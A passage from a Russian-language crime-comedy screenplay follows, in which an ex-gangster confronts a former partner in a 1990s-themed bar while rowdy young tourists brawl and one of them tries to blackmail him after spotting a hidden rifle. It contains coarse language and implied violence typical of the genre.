  <p id="LgGA">(прижимает к себе Алину, хватает ее за жопу и смачно в засос целует)</p>
  <p id="kT1t" data-align="center">ПЕТР </p>
  <p id="2ulm">Друг Макса, мелкий алкоголик и нищеброд, трется рядом и постоянно бухает. В красной кепке с логотипом LA.</p>
  <p id="28Lc">             Вообщет в Париже видали и круче. Мы правда тогда так нажрались, что я плохо помню.. </p>
  <p id="CrZI">             Но было круто! </p>
  <p id="rYjm" data-align="center">АЛИНА </p>
  <p id="NIlB">Девушка Макса, крашеная блондинка сельско-модельной внешности, сиськи-жопа — все на месте. С накладными ногтями.</p>
  <p id="renb">(расцепившись после засоса с Максом, наконец оглядывает помещение, с презрением)</p>
  <p id="AX14">             Боже ну и дыра.. </p>
  <p id="khE1">             И нахрена вы меня сюда притащили?</p>
  <p id="oTxr">(принюхивается)</p>
  <p id="YOqC">             Тут воняет!</p>
  <p id="EY3k" data-align="center">ПАВЕЛ</p>
  <p id="ZBgk">Интеллигентного вида молодой человек, хипстер, парень Лизы.</p>
  <p id="fDie">(обращаясь к Петру)</p>
  <p id="1SWy">            Хотя бы сегодня не нажирайся заранее, а?</p>
  <p id="fnPM">            Нам еще до Петергофа ехать.</p>
  <p id="K5PI">            Снова укачает в дороге и заблюешь все вокруг.. </p>
  <p id="tXfS" data-align="center">ПЕТР</p>
  <p id="h9Iu">            Матросов не укачивает!</p>
  <p id="e6vH" data-align="center">ПАВЕЛ</p>
  <p id="K8Ax">            Макс скажи ему!</p>
  <p id="CHsJ" data-align="center">АЛИНА</p>
  <p id="2Cpd">(обращаясь к подошедшему бармену)</p>
  <p id="4wuM">            У вас тут дамская комната есть?</p>
  <p id="S0gW">            Или в вашем веке их еще не придумали?</p>
  <p id="1C2j">Бармен молча указывает направление, не желая спорить с идиоткой.</p>
  <p id="3iz1">Алина удаляется в указанном направлении, виляя отменной жопой. Остальные направляются к большому столику в центре зала.</p>
  <p id="j52c" data-align="center">МАКС</p>
  <p id="t4Aj">            Два дебила блин..</p>
  <p id="7nCM">(обращаясь к Петру)</p>
  <p id="GZBJ">            Давай мы туда доберемся, а там бухай сколько влезет.</p>
  <p id="JsRx">            Твой город епт.</p>
  <p id="0Ofs">            Там и оставим. </p>
  <p id="9grL">            Как проспишься — вернешься.</p>
  <p id="c6w6" data-align="center">ПЕТР</p>
  <p id="7YvQ">(примирительно)</p>
  <p id="XgN3">             Да какой он мой?  </p>
  <p id="MrSu">             У меня там бабушка жила, умерла давно.</p>
  <p id="0DT9" data-align="center">МАКС</p>
  <p id="61zy">              Ниче. Бухло, бабу и койку всегда найдешь.</p>
  <p id="v73M">              Ты ж матрос.</p>
  <p id="g5hh">Тут в интеллектуальную дискуссию влезает Павел.</p>
  <p id="RE9S" data-align="center">ПАВЕЛ</p>
  <p id="PvgF">(смотря на часы)</p>
  <p id="EJHd">             Ребят, у нас еще два часа до автобуса, давайте просто посидим. </p>
  <p id="QBoK">             Не шляться же по городу просто так.</p>
  <p id="pnkb">Компания рассаживается за столиком. Артура с Михаилом они не замечают.</p>
  <h2 id="d57C">9. ИНТ. БАР. СТОЛИК АРТУРА И МИХАИЛА.</h2>
  <p id="Xrea">Наши герои сидят прямо, с напряжением и долго молча смотрят друг на друга. Где-то на фоне, со стороны компании молодежи слышны приглушенные звуки веселья, гогот и взрывы смеха. </p>
  <p id="Ra1Q">Наконец Михаил не выдерживает и отводит взгляд. </p>
  <p id="rmDI">Смотрит на кофе перед Артуром.</p>
  <p id="GZxo" data-align="center">МИХАИЛ</p>
  <p id="ctRa">             Надо мне тоже чего-нибудь заказать..</p>
  <p id="EalC" data-align="center">АРТУР</p>
  <p id="YNWD">(издевательски)</p>
  <p id="kSmz">             Ты сюда пожрать пришел?</p>
  <p id="0AK0" data-align="center">МИХАИЛ</p>
  <p id="mzrf">(примирительно)</p>
  <p id="yLuY">             Да-да, я понял. </p>
  <p id="aNUu">             Можешь не продолжать. </p>
  <p id="pqmt">             Тоже рад тебя видеть.  </p>
  <p id="rh9N">(окидывает взглядом)</p>
  <p id="C8VN">              Смотрю форму держишь..</p>
  <p id="wrkc" data-align="center">АРТУР</p>
  <p id="4egE">(кивая)</p>
  <p id="z0Hy">            Угу.</p>
  <p id="o2Gn">             Теперь еще про семью спроси. </p>
  <p id="nfPN">             Про жену и детей. </p>
  <p id="urtc">             Играй до конца приличного человека.</p>
  <p id="vw3Y">(оценив явно дорогой костюм Михаила)</p>
  <p id="ImDf">             Смотрю дела идут хорошо.</p>
  <p id="21TZ">(смотря в глаза Михаилу)</p>
  <p id="ml8p">             Вернее шли. </p>
  <p id="ycIK">             Или ты к нам типа на экскурсию заглянул?</p>
  <p id="mBRc">             Пройтись по местам боевой славы и трудовых подвигов.</p>
  <p id="ygEB">             Так чтоли?</p>
  <p id="GNyL" data-align="center">МИХАИЛ</p>
  <p id="OwXd">(морщась, разводя руками)</p>
  <p id="Zlm2">             Обстоятельства изменились.  </p>
  <p id="pHkR">             Разные внешние факторы.</p>
  <p id="Mwhq">             Санкции-санации..</p>
  <p id="lsqK">(на фоне слышен взрыв хохота от компании молодежи)</p>
  <p id="mKkv">             Пришлось свернуть бизнес.</p>
  <p id="TuY3" data-align="center">АРТУР</p>
  <p id="Uq4B">(ухмыляясь, со стебом)</p>
  <p id="hI5T">             Ути-пути бедненький!  </p>
  <p id="48M0">             Злые европейцы обидели честного российского бизнесмена!</p>
  <p id="ONCi">             Никогда такого не было.             </p>
  <p id="WeG9">(пауза)</p>
  <p id="7Vvp">             И ты решил вернуться. </p>
  <p id="uEFt">             После всего.</p>
  <p id="MIFz">             И теперь сидишь тут, весь такой красивый и успешный.</p>
  <p id="idfh">             Дай догадаюсь: ТЫ думал, что девяностые прошли, мы постарели, успокоились и все изменилось.</p>
  <p id="WjJN">             Теперь все сыты и довольны, никто больше не стреляет.</p>
  <p id="3WoL">             И все плохое теперь стоит забыть и простить за давностью лет. </p>
  <p id="mEj5">             Взяться за ручки и обняться.</p>
  <p id="2K7h">             Ничего не упустил?</p>
  <p id="OlOh" data-align="center">МИХАИЛ</p>
  <p id="MdtL">(смущенно)</p>
  <p id="THEF">             Но ведь все действительно изменилось. </p>
  <p id="z1fw">             Посмотри вокруг! Столько новых, красивых зданий. Новые лица, новые люди! Кругом прогресс и развитие!</p>
  <p id="GKoP">(камера показывает столик с малолетними дегенератами, ржущими над очередной тупой шуткой)</p>
  <p id="YaPh">             Я изменился, стал другим человеком. </p>
  <p id="SWYI">             Построил успешный бизнес. </p>
  <p id="FW7W">(тыкая себе в грудь)</p>
  <p id="6zBO">             Сам! Своим умом, своим трудом и стараниями.</p>
  <p id="ZFzq" data-align="center">АРТУР</p>
  <p id="NSNN">(усмехаясь)</p>
  <p id="5brB">             Бабе своей расскажи, чтоб крепче любила.</p>
  <p id="8vm5">             Мне не надо.</p>
  <p id="6SOA">             У меня вагины нет, поэтому думаю другим местом.</p>
  <p id="9Lzk">(смотря внимательно)</p>
  <p id="IjGB">             И память тоже пока не подводит, прикинь. </p>
  <p id="LdOJ">             Деньги помню. И сейф шефа.</p>
  <p id="Rfmj">             А потом денег не стало. </p>
  <p id="WZIu">             Вместе с тобой.</p>
  <p id="e90c" data-align="center">МИХАИЛ</p>
  <p id="yL2O">(медленно, с серьезным выражением лица)</p>
  <p id="aaMt">             Ты меня в чем-то обвиняешь?  </p>
  <p id="fyTt">             Я правильно услышал?</p>
  <p id="dQcl" data-align="center">АРТУР</p>
  <p id="LTv6">(издевательски)</p>
  <p id="bO1h">             Ну что вы, Михаил Борисович. </p>
  <p id="u0vW">             Как так можно. </p>
  <p id="dLZj">             Вы же теперь серьезный человек, бизнесмен. </p>
  <p id="ZXyN">             А спешно переехали в другую страну просто так, в поисках нового опыта и вдохновения.</p>
  <p id="y5Mz" data-align="center">МИХАИЛ</p>
  <p id="pZtE">(наваливаясь на стол и приблизив лицо, грозно тыкая пальцем)</p>
  <p id="WhcX">              Слыш ты!</p>
  <p id="aMTv">              Я вообще мог сюда не приходить. Эта встреча лишь дань уважения организации. </p>
  <p id="BRbj">             Не более того.</p>
  <p id="aZDQ">             Времена изменились, (пауза, Михаил раскидывает руки в стороны) — <strong>все</strong> изменилось.</p>
  <p id="k0QI">(тыкая в Артура пальцем)</p>
  <p id="Dk0z">             У вас больше нет власти!</p>
  <p id="01Rx">             Никакой.</p>
  <p id="0cGk">             Вас никто не боится. </p>
  <p id="iRX7">             Никто не уважает.</p>
  <p id="pL8d">             Ты просто старый алкаш, шеф — жалкий инвалид в кресле-каталке.</p>
  <p id="vDJS">             Прошло ваше время.</p>
  <p id="BvAC" data-align="center">АРТУР</p>
  <p id="P2E3">(смотря пустым взглядом как будто насквозь)</p>
  <p id="p0pC">             Все сказал?</p>
  <p id="0EpF">(камера уезжает под стол, показывается палец на курке автомата)</p>
  <h2 id="j9XU">10. ИНТ. СТОЛИК МОЛОДОЙ КОМПАНИИ.</h2>
  <p id="QEyJ"></p>
  <p id="Mve5" data-align="center">ЛИЗА</p>
  <p id="C6Mk">             Блииин ребята.. я в таком восторге! </p>
  <p id="ucqG">(чуть подпрыгивает от восторга)</p>
  <p id="jdHb">             Чудесное место! </p>
  <p id="66HM">             Пашааа я тебя люблю! </p>
  <p id="iORA">(начинают обниматься с Павлом)</p>
  <p id="ojDF">             Спасибо что нашел это место, мой милый.</p>
  <p id="VdnD" data-align="center">АЛИНА</p>
  <p id="m1yX">             Да все в курсе  что ты тащишься от всякого старья. </p>
  <p id="kODD">(указывает пальцем на замызганные столики)</p>
  <p id="UjZC">             Но это уже перебор.</p>
  <p id="72C8">             Макс давай свалим?</p>
  <p id="WCAp">             Это ну совсем дно..</p>
  <p id="bBXG" data-align="center">ПЕТР</p>
  <p id="fa0C">(смотрит меню со все возрастающим изумлением)</p>
  <p id="qCVb">             Пипееец... </p>
  <p id="7BGu">             Ну это просто нечто! </p>
  <p id="8sPj">             Ребят у них тут сто двадцать сортов водки!</p>
  <p id="Tn78">             Даже самогон есть!</p>
  <p id="bxgP">(начинает подпрыгивать от радости)</p>
  <p id="H9Qk">             Я в раю! В раю! В раюююю!</p>
  <p id="obqY" data-align="center">МАКС</p>
  <p id="MTCk">(явно впечатлившись ассортиментом)</p>
  <p id="jB34">             Ээ.. Алиночка дорогая..</p>
  <p id="Zhda">             Мнение большинства..</p>
  <p id="tjcp">             Ну ты понимаешь.</p>
  <p id="ockN" data-align="center">АЛИНА</p>
  <p id="3oym">(поднимает снизу ладонями свои объемные груди, эротичным голосом)</p>
  <p id="KhNY">             Максииик.. </p>
  <p id="cXRs">             Зайка..</p>
  <p id="ZWAw">             Ты же хочешь этого да?</p>
  <p id="ZZ3H">             Хочешь чтобы я тебе еще раз дала?</p>
  <p id="2lnA"></p>
  <h2 id="uVCE">11. ИНТ. СТОЛИК АРТУРА И МИХАИЛА.</h2>
  <p id="G073">Продолжается непростой, напряженный диалог.</p>
  <p id="lbDP">Михаил поняв что наговорил лишнего, тем нее менее пытается переубедить бывшего коллегу и перетянуть на свою сторону.</p>
  <p id="A1W3" data-align="center">МИХАИЛ</p>
  <p id="7qyh">             Ну и что тебе дал этот «Шеф», а? </p>
  <p id="vEGf">             Что?            </p>
  <p id="IK83">(тут очевидный переход из прошлой сцены с Алиной, который дает юморной эффект)</p>
  <p id="joMH">             Давай работать вместе. </p>
  <p id="wUWD">             За мной — бизнес, деньги. </p>
  <p id="k7yw">             Власть в конце концов. </p>
  <p id="wS5g">             Все будет.</p>
  <p id="x1RS">             Мир изменился, нынче совсем другие времена. </p>
  <p id="hfmr">Михаил протягивает свою красивую визитку. Артур подносит к глазам и с интересом зачитывает.</p>
  <p id="GOMj" data-align="center">АРТУР</p>
  <p id="Zbnn">(со стебом)</p>
  <p id="dz9q">            СЕНЬОР ВАЙС ПРЕЗИДЕНТЕ!</p>
  <p id="Cbyl">            ФАЛЬКО ИН-ВЕСТЭ-МЕНТЭС.. ЭЛЬ-ТЭ-ДЭ.</p>
  <p id="aWJf">Убирает визитку Михаила в карман.</p>
  <p id="qGex">             Сеньор значит.</p>
  <p id="aoAZ">             Ну хоть не сеньорита.             </p>
  <p id="xgod">             Вижу растешь.</p>
  <p id="sEnX">             Впечатлен.</p>
  <p id="wrgh">(задумчиво)</p>
  <p id="QYcm">            Но ты прав, да. </p>
  <p id="nJFc">            Все действительно сильно изменилось. </p>
  <p id="CTqI">            Кадык теперь приходится проверять у девушек, прежде чем в койку тащить..</p>
  <p id="itra" data-align="center">МИХАИЛ</p>
  <p id="FffG">(приободрившись, но не въехав в шутку)</p>
  <p id="wNRR">Ну вот видишь! </p>
  <p id="fH2j">Ты же разумный человек, Артур. </p>
  <p id="WVyg">Всегда хорошо соображал.</p>
  <p id="gmCt">Да и годы уже дают о себе знать, пора остепеняться. </p>
  <p id="wqyn">(достает бумажник, из него вытаскивает семейную фотографию жены и детей)</p>
  <p id="31fQ">Аннушка моя ненаглядная, сердце мое. </p>
  <p id="gbwF">Вся моя жизнь в ней и детях.</p>
  <p id="SE00">Так бы и спился где-нибудь в подворотне, если бы не она.</p>
  <p id="ZbrA">(задумчиво)</p>
  <p id="7S2D">Весь смысл жизни только в детях и есть, если подумать. Ничего другого и не..</p>
  <p id="5ryx" data-align="center">АРТУР</p>
  <p id="ixJg">(равнодушно взглянув на фото, тихо)             </p>
  <p id="dXjW">            Помнишь Петровича? </p>
  <p id="m0MJ">Михаил осекается.</p>
  <p id="BzTx">             Помнишь значит. </p>
  <p id="Bvn9">             По глазам вижу.</p>
  <p id="N7M9">             У него тоже была жена и дети.</p>
  <p id="EB5y">             И код от сейфа. </p>
  <p id="ufvF">Михаил отворачивается, смотрит в сторону, ему неприятно все это вспоминать.</p>
  <p id="KNG8">             Вот только ума не хватило сбежать, прихватив жену и детей.</p>
  <p id="mJby">             Так что ты там рассказывал про светлое будущее?</p>
  <p id="CtIK"></p>
  <p id="ra2u">Камера уезжает от столика, дальше речь мы не слышим.</p>
  <p id="Tn6y">Михаил начинает рассказывать предложение, Артур слушает с невозмутимым выражением лица.</p>
  <h2 id="4ZWU">12. ИНТ. СТОЛИК МОЛОДЕЖИ</h2>
  <p id="Doiy">Все расселись, сделали заказ и сидят за столом, забитым местными явствами. Алине не удалось с помощью женской магии заставить Макса покинуть заведение.</p>
  <p id="1hHt">С чего она сильно огорчена.</p>
  <p id="3odo" data-align="center">АЛИНА</p>
  <p id="vAYj">(успев принять 50 грамм на грудь, с чего заметно порозовела)</p>
  <p id="dB1i">             Вот же кобелина..</p>
  <p id="2Teu">             Все вы мужики однаковые!</p>
  <p id="ayRv">             Лишь бы нажраться.</p>
  <p id="Ox6b" data-align="center">МАКС</p>
  <p id="JsYd">(тоже успев принять первую стопку, громко)</p>
  <p id="L26m">             Да успокойся ты!</p>
  <p id="ocae">             Задрала своими претензиями!</p>
  <p id="YOJt">             Все ей не так!</p>
  <p id="3R4p" data-align="center">АЛИНА</p>
  <p id="H0qh">(зверея)</p>
  <p id="PnT0">             Да ты ваще лох и чмо!</p>
  <p id="xKUy">             Зассал татуху на лице бить!</p>
  <p id="gO1K">             Нах ты такой кому нужен, когда на свете есть Элджей?</p>
  <p id="HCyY">(немного подумав)</p>
  <p id="cqI2">             И ваще! </p>
  <p id="5CFU">             Член у тебя маленький.</p>
  <p id="nlBl" data-align="center">МАКС</p>
  <p id="KU4H">(кидаются друг на друга с кулаками)</p>
  <p id="BTfV">             Уью суку!</p>
  <p id="tRTh">Остальные ребята начинают их разнимать. Драться современные дети не умеют, поэтому все выглядит больше как переполох в борделе.</p>
  <p id="BZuW"></p>
  <h2 id="LhkR">13. ИНТ. СТОЛИК АРТУРА И МИХАИЛА</h2>
  <p id="zcwN">Михаил закончил с предложением, Артур сидит в задумчивости, переваривая услышанное.</p>
  <p id="meVU" data-align="center">АРТУР</p>
  <p id="kKG3">            Какое интересное предложение.</p>
  <p id="sZZK">            Прям не ожидал.</p>
  <p id="MXml">            Вижу ты действительно стал другим человеком.</p>
  <p id="ISqz">            Кто бы мог подумать.</p>
  <p id="m1zN">(проницательно)</p>
  <p id="0mOz">             Женщины.. </p>
  <p id="DMUl">             Они всегда все меняют.</p>
  <p id="FtLS">             Ладно, отойду покурить..</p>
  <p id="DV8Z">              А ты посиди, отдохни. Только не буянь.</p>
  <p id="zj0n">(смотрит осуждающе)</p>
  <p id="yFxK">             Ну ты понял.</p>
  <p id="CTdY">             Времена уже не те. </p>
  <p id="kXug">             Не так поймут.</p>
  <p id="xJrG" data-align="center">МИХАИЛ</p>
  <p id="wYeC">             За кого ты меня принимаешь? </p>
  <p id="xigP">             Я серьезный бизнесмен.</p>
  <p id="buKn">Артур ухмыляясь поднимается, хлопает Михаила по плечу и идет на выход.</p>
  <p id="ZnwR"></p>
  <h2 id="caUa">14. ИНТ. СТОЛИК ТУРИСТОВ</h2>
  <p id="4SpS">Макса с Алиной растащили по разным сторонам, Лиза успокаивает Алину, Петр с Павлом — Макса.</p>
  <p id="bI6u">Атмосфера напряженная и голубки вот вот снова полезут в драку. Продолжают переругиваться.</p>
  <p id="GCrQ" data-align="center">АЛИНА</p>
  <p id="bFNV">             Нахера я только согласилась с вами ехать.</p>
  <p id="Qhbf">(замечает сломаный ноготь, подносит палец к глазам, ноготь вот-вот оторвется)</p>
  <p id="roV1">             Видишь что ты наделал!</p>
  <p id="8Xk2">             Мудак!</p>
  <p id="mu3N" data-align="center">МАКС</p>
  <p id="rJlY">             Рот закрой, овца крашеная!</p>
  <p id="qgY2" data-align="center">АЛИНА</p>
  <p id="tRKu">             Это я-то крашеная?</p>
  <p id="Gbx1">             Ты же сам хаер свой красишь, мудила!</p>
  <p id="KKQV">             Еще каталог ему просил купить. С красками и гелями.</p>
  <p id="swmn">             Как баба!</p>
  <p id="LkqL" data-align="center">МАКС</p>
  <p id="twKb">(пытается ударить, Павел с Петром удерживают)</p>
  <p id="RFdQ">             Заткнись, тварь тупая!</p>
  <p id="FC13" data-align="center">ЛИЗА</p>
  <p id="c4Fa">(примиряюще)</p>
  <p id="OX1Q">             Ребята ну не надо так. </p>
  <p id="6vkY">             У нас отпуск, каникулы а вы мальчики все портите. </p>
  <p id="W8kH">             Дома разберетесь.</p>
  <p id="Crqe">(замечает Артура, который с интересом слушает перепалку)</p>
  <p id="EIbF">             Вы окружающих пугаете. </p>
  <p id="Frhd">Все головы поворачиваются к Артуру. На какое-то время все замолкают.</p>
  <p id="uwz9" data-align="center">МАКС</p>
  <p id="cqzW">(с агрессией)</p>
  <p id="bPIO">             Тебе че надо дед?</p>
  <p id="I9tM">             Пшел отсюдова! </p>
  <p id="badL">             Пока ноги ходят.</p>
  <p id="6HOK">Артур ничего не отвечает и какое-то время просто стоит на месте. Затем улыбнувшись, проходит мимо столика к выходу.</p>
  <p id="WUYv">Это разряжает обстановку за столом, ребята успокаиваются.</p>
  <p id="Hdxb" data-align="center">ПАВЕЛ</p>
  <p id="nKJb">             Макс блин, так же нельзя!</p>
  <p id="uEsL">             Это старый, пожилой человек.</p>
  <p id="3U1T">             Да и что он тебе сделал-то?</p>
  <p id="6dzH" data-align="center">МАКС</p>
  <p id="huEZ">(грозно)</p>
  <p id="Sz0S">             Если бы сделал — я б его ваще прибил на месте!</p>
  <p id="Azk4">             Калич старый..</p>
  <p id="RB2i">             Ненавижу блин дедов.</p>
  <p id="84sW">             Все старичье ваще  — или алкаши или педофилы.</p>
  <p id="EFHZ">             Когда уже только передохнут.             </p>
  <p id="LJUp" data-align="center">ПЕТР</p>
  <p id="wlpw">(поддакивая)</p>
  <p id="fBnL">             Моя бабка когда сдохла, квартиру оставила матери, прикиньте. </p>
  <p id="U3IB">             Не мне.</p>
  <p id="e6Md">             А я типа сам должен заработать.</p>
  <p id="i91l" data-align="center">МАКС</p>
  <p id="7DGI">             Во-во!</p>
  <p id="b2vx">             Чисто дедовская тема!</p>
  <p id="VqpS">             В их-то молодость ипотеки не было.</p>
  <p id="f55S">             И все поучают. </p>
  <p id="nEIE" data-align="center">ПЕТР</p>
  <p id="bCzd">(мерзко хихикая)</p>
  <p id="KGbI">             Хе-хе а твоя Алинка-то деду понравилась!</p>
  <p id="oA1X">             Он на нее так долго пырил.</p>
  <p id="ZZhd" data-align="center">МАКС</p>
  <p id="laEv">             Молчи псина сутулая!             </p>
  <p id="bRi2">Тут Макс срывает кепку с Пети и кидает ее в сторону столика «ветеранов». Под общий смех и улюлюкание, Петя встает из-за стола и идет ее забирать.</p>
  <p id="mthx">Присев, он поднимает ее с пола, оттряхивает и тут замечает автомат под столом за которым сидит Михаил.</p>
  <p id="Gddd">Удивляется, но не подает виду Михаилу и медленно отходит.</p>
  <p id="TZ9F">Возвращается к столику с молодежью, еще раз смотрит в сторону Михаила — решает что делать.</p>
  <p id="4qwu" data-align="center"></p>
  <h2 id="qPUV">15. НАТ.  ВХОД В БАР. </h2>
  <p id="sQjK">Внутренний дворик перед кабаком «Дух девяностых».</p>
  <p id="FNt2">Артур в задумчивости достает пачку сигарет, закуривает. Достает телефон-раскладушку, набирает номер и делает вызов.</p>
  <p id="vjWC">С другой стороны отвечает очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке.</p>
  <p id="PeQL">Кресло-каталка стоит на террасе загородного коттеджа, вид на реку, съемка со спины и лица не видно.</p>
  <p id="TFpz" data-align="center">АРТУР</p>
  <p id="VQbU">(говорит по телефону)</p>
  <p id="sLMx">             День добрый, Арсений Павлович. </p>
  <p id="IKeG">             Встретился с нашей сбежавшей звездой коммерции.</p>
  <p id="z8ry">             Да, он самый.</p>
  <p id="xajq">             Вам все верно доложили, действительно он. </p>
  <p id="EsoM">             Сам приехал. Нет, никто за хвост не тащил.</p>
  <p id="PzOx">             Живой и здоровый.</p>
  <p id="KPaQ">(пауза)</p>
  <p id="3e8R">             Пока целый.</p>
  <p id="D9Of">             Предложил следующее.</p>
  <p id="ew9w">(сцена переключается на пенсионера в кресле-каталке, сам текст предложения мы не слышим)</p>
  <p id="KiCQ">             Некоторое время шеф внимательно слушает, не перебивая. </p>
  <p id="RkcD">             Наконец Артур заканчивает говорить.</p>
  <p id="cgEt" data-align="center">АРТУР</p>
  <p id="hgcc">(задумчиво)</p>
  <p id="ix6m">             Может и правда все изменилось. </p>
  <p id="HKi6">             Столько лет прошло.</p>
  <p id="xdRk">             У него теперь жена и дети малые.</p>
  <p id="6fYd">             Совсем другая жизнь.</p>
  <p id="VeEW" data-align="center">ШЕФ</p>
  <p id="16q9">(с сильным грузинским акцентом, становится понятно что &quot;Арсений Павлович&quot; не настоящее имя)             </p>
  <p id="n5PZ">             Ты помнишь Петровича, Артур?</p>
  <p id="rZ5e">             У него тоже была жена и дети. </p>
  <p id="aLdK">             Их тебе не было жалко.</p>
  <p id="72TR" data-align="center">АРТУР</p>
  <p id="ynb1">             То было другое время, Арсений Павлович.</p>
  <p id="VR2C">              Мы все были моложе.           </p>
  <p id="kDX4">(задумчиво)</p>
  <p id="swJo">             Возможно Михаил прав, все же дети это наше будущее.</p>
  <p id="8LEK">             Единственное ради чего еще стоит жить..</p>
  <p id="Yawu" data-align="center">ШЕФ</p>
  <p id="hSQ6">             Мы с тобой очень давно знакомы, Артур.</p>
  <p id="qUP0">             И Мишу ты тоже знаешь не первый день.</p>
  <p id="z9HL">             Работал когда-то с ним. </p>
  <p id="yhsh">             Дэла делал.</p>
  <p id="TmES">             Я не стану тебе приказывать.</p>
  <p id="mdX3">             Ты уже взрослый, Артур. </p>
  <p id="skqH">             Прими это решение сам.</p>
  <p id="OMu8">(шеф завершает звонок)</p>
  <p id="D0nN">Артур складывает и убирает телефон.</p>
  <p id="uNH4" data-align="center">АРТУР</p>
  <p id="8ZXt">(задумчиво)</p>
  <p id="Pytn">              Дети — цветы жизни..</p>
  <p id="htq7">              Кормишь их, заботишься.</p>
  <p id="4sg9">              А потом они вырастают.  </p>
  <p id="3nHY">Все это время, пока шел диалог с шефом, на заднем плане Петя медленно и нерешительно подходил к Артуру.</p>
  <h2 id="B0Zl">16. НАТ. ВХОД В БАР</h2>
  <p id="zIjC">Петр поднимается вверх по ступенькам бара, выходит наружу. Озирается и замечает Артура с сигаретой.</p>
  <p id="0hP7" data-align="center">ПЕТР</p>
  <p id="29Na">             Дядь, угостите сигаретой?</p>
  <p id="FrQL">Артур поворачивает голову и смотрит на Петра бессмысленным взглядом какое-то время. Затем понимает наконец чего от него хотят. </p>
  <p id="YOfC">Протягивает пачку.</p>
  <p id="4zU5">Петр вытягивает две папиросы, одну кладет за ухо, вторую — просит прикурить у Артура.</p>
  <p id="ZjPW">Артур дает зажигалку. </p>
  <p id="K3YL">Тот затягивается.</p>
  <p id="yELh" data-align="center">ПЕТР</p>
  <p id="mDAU">             Дядь а вы киллер, да?</p>
  <p id="H8yw">             Видел ствол под тем столом, внизу.</p>
  <p id="f1ha">             Тот тип в дорогом костюме — ваш клиент? Это его вам надо завалить?</p>
  <p id="0bsf">Артур смотрит с интересом, но ничего не говорит. </p>
  <p id="x6Cj" data-align="center">ПЕТР</p>
  <p id="1Oiw">             А вы крутой.</p>
  <p id="Lvkf">             И наверное богатый. </p>
  <p id="aybl">             За такое хорошо платят, я в кино видел. </p>
  <p id="ZsyN">             Дядь, а давайте вы мне миллион долларов, а я типа такой — ничего не видел, ничего не знаю. </p>
  <p id="vSC1">             Мусорам так и скажу.</p>
  <p id="LxqH">             Они же тупые все. </p>
  <p id="RqZ8" data-align="center">АРТУР</p>
  <p id="E1gR">             Тебя как зовут, отрок?</p>
  <p id="Stqb" data-align="center">ПЕТР</p>
  <p id="f57V">             Петей.</p>
  <p id="8FaV">             Назвали в честь Петра Первого. </p>
  <p id="fXhl">             Жил такой крутой мужик когда-то давно. Примерно как вы.</p>
  <p id="g43K" data-align="center">АРТУР</p>
  <p id="4XhH">             Петя значит. </p>
  <p id="8Doy">             А папа у тебя есть, Петя? </p>
  <p id="vHeu">             Чем папа занимается?</p>
  <p id="h2MS" data-align="center">ПЕТР</p>
  <p id="Pxyz">             Пердит в диван, бухает да в телек пялит.</p>
  <p id="MLwH">             На пенсии он. </p>
  <p id="OeD0">             Охранником работал, когда-то давно.</p>
  <p id="9QLZ">             Мы из бедноты.</p>
  <p id="iOD5">             Деньги очень нужны, дядь. </p>
  <p id="rgCb">             Хочу подняться в жизни.</p>
  <p id="XCjt" data-align="center">АРТУР</p>
  <p id="iTMp">             И что же ты будешь делать с миллионом?</p>
  <p id="kjDA" data-align="center">ПЕТР</p>
  <p id="OLli">             Тачку крутую куплю. </p>
  <p id="qYIZ">             И хату.</p>
  <p id="rIjX">             В Москва-Сити.</p>
  <p id="6GmT" data-align="center">АРТУР</p>
  <p id="gBg6">             Боюсь одного миллиона не хватит. </p>
  <p id="aRVS">             Там слишком дорого.</p>
  <p id="K56v">             Даже для таких успешных.</p>
  <p id="8MnE" data-align="center">ПЕТР</p>
  <p id="yZEC">             Ну тогда арендую, епта.</p>
  <p id="Ysl1">(тут Петя пытается руками визуализировать желаемый миллион)</p>
  <p id="tDrd">             Деньги липнут к деньгам, успех — к успеху. </p>
  <p id="DQ6j">             Надо как это..  </p>
  <p id="c30X">(произносит с трудом, практически по слогам)</p>
  <p id="r3Uo">             Ви-зу-ализовать. Во! </p>
  <p id="6jxL">             Представлять картинку.</p>
  <p id="uSNL">             Раз лям, два лям.. </p>
  <p id="I7U2">             Поцаны в интернете научили.</p>
  <p id="4G8X">             Понял идею, дядя?</p>
  <p id="WzSD" data-align="center">АРТУР</p>
  <p id="GNTn">(удивившись с такой борзоты)</p>
  <p id="eAFs">             А мы уже на ты? </p>
  <p id="dZGu">             Не стоит хамить благодетелю.</p>
  <p id="38bb">             Совет на будущее.</p>
  <p id="M7Z8" data-align="center">ПЕТР</p>
  <p id="J6qI">             А я тебя типа уже шантажирую, дядя. </p>
  <p id="eFqa">             Но походу одного ляма мало.</p>
  <p id="qHAc">             Чето ты не впечатлился.</p>
  <p id="CLKe">             Давай-ка десять.</p>
  <p id="k6Vc">             Типа инфляция. </p>
  <p id="26it">             Повышаем расценки.</p>
  <p id="SAkp">Артур докуривает сигарету, бросает окурок на землю и тушит ботинком.</p>
  <p id="3Byh" data-align="center">АРТУР </p>
  <p id="LJ7m">             Ну десять так десять. </p>
  <p id="LkQM">             Иди за мной.</p>
  <p id="5Yfj">Тут Артур поворачивается к Петру спиной и начинает спокойно двигаться в сторону ближайшего мусорного контейнера. </p>
  <p id="lCMI">Нападения сзади от такого клоуна он точно не ждет и какой-либо угрозой Петра не считает. </p>
  <p id="QKOr">Петр не врубается что происходит, но на автопилоте начинает семенить следом.</p>
  <p id="TTFp" data-align="center">ПЕТР</p>
  <p id="IouI">             Эээ.. куда? Стоп! </p>
  <p id="N0hh">             Але!</p>
  <p id="C841">             Мы так не договаривались!</p>
  <p id="gxJp">             Куда мы вообще идем?</p>
  <p id="st6g" data-align="center">АРТУР</p>
  <p id="fAyR">             За миллионом. </p>
  <p id="F6T1">             Как ты хотел.</p>
  <p id="mZmz">             Остальные девять чуть попозже занесу.</p>
  <p id="awmY">Подходят к мусорному контейнеру. </p>
  <p id="LUQD">Поскольку дело происходит в культурной столице, помойка имеет неповторимый флер недобитой интеллигенции: рядом с мусоркой выставлены бутылки из-под дорогого шампанского и вина, а из соседнего бака торчит свадебная фата.</p>
  <p id="pp0f">Артур невозмутимо приоткрывает крышку и указывает внутрь.</p>
  <p id="iQTP" data-align="center">АРТУР</p>
  <p id="rdtD">             Там внутри тебя ждет миллион. </p>
  <p id="eU1O">             Поздравляю с первым жизненным достижением.</p>
  <p id="x8dG">(услужливо)</p>
  <p id="14OM">             Подсадить?</p>
  <p id="BV5h"></p>
  <h2 id="2Y2t">17. ИНТ. БАР. СТОЛИК МОЛОДЕЖИ</h2>
